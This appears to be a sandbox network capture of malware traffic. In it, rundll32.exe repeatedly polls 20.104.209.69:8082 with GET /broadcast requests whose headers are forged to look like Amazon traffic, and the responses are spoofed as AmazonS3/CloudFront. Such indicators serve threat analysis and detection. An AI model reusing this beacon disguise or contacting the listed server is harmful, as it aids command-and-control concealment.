Jan 8, 2023 16:07:44.831845045 CET	716	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:44.950304031 CET	716	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:36 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	49709	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:01.374138117 CET	391	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:01.492902040 CET	391	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:52 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.6	49809	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:45.484533072 CET	719	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:45.604275942 CET	719	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:36 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.6	49810	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:46.009035110 CET	722	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:46.126841068 CET	723	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:37 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.6	49811	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:47.065860033 CET	725	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:47.184912920 CET	726	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:38 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.6	49812	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:48.612586975 CET	729	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:48.731122971 CET	729	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:40 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.6	49813	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:49.012095928 CET	732	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:49.129647970 CET	732	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:40 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.6	49814	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:49.388458967 CET	735	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:49.507355928 CET	735	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:40 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.6	49815	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:49.777384043 CET	738	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:49.894764900 CET	739	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:41 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.6	49816	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:50.173841953 CET	741	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:50.291698933 CET	742	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:41 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.6	49817	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:50.544991016 CET	744	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:50.664100885 CET	745	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:41 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.6	49818	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:50.921629906 CET	748	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:51.040569067 CET	748	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:42 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	49710	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:01.749710083 CET	394	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:01.867438078 CET	395	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:53 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.6	49819	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:51.295474052 CET	751	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:51.413897038 CET	751	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:42 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.6	49820	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:51.671174049 CET	754	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:51.789377928 CET	754	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:43 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.6	49821	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:52.069259882 CET	757	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:52.187520027 CET	758	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:43 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.6	49822	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:52.452488899 CET	760	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:52.571934938 CET	761	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:43 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.6	49823	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:52.844851971 CET	764	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:52.962483883 CET	764	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:44 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.6	49824	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:53.222223997 CET	767	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:53.339643002 CET	767	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:44 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.6	49825	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:53.597007990 CET	770	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:53.716433048 CET	770	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:44 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.6	49826	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:53.971342087 CET	773	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
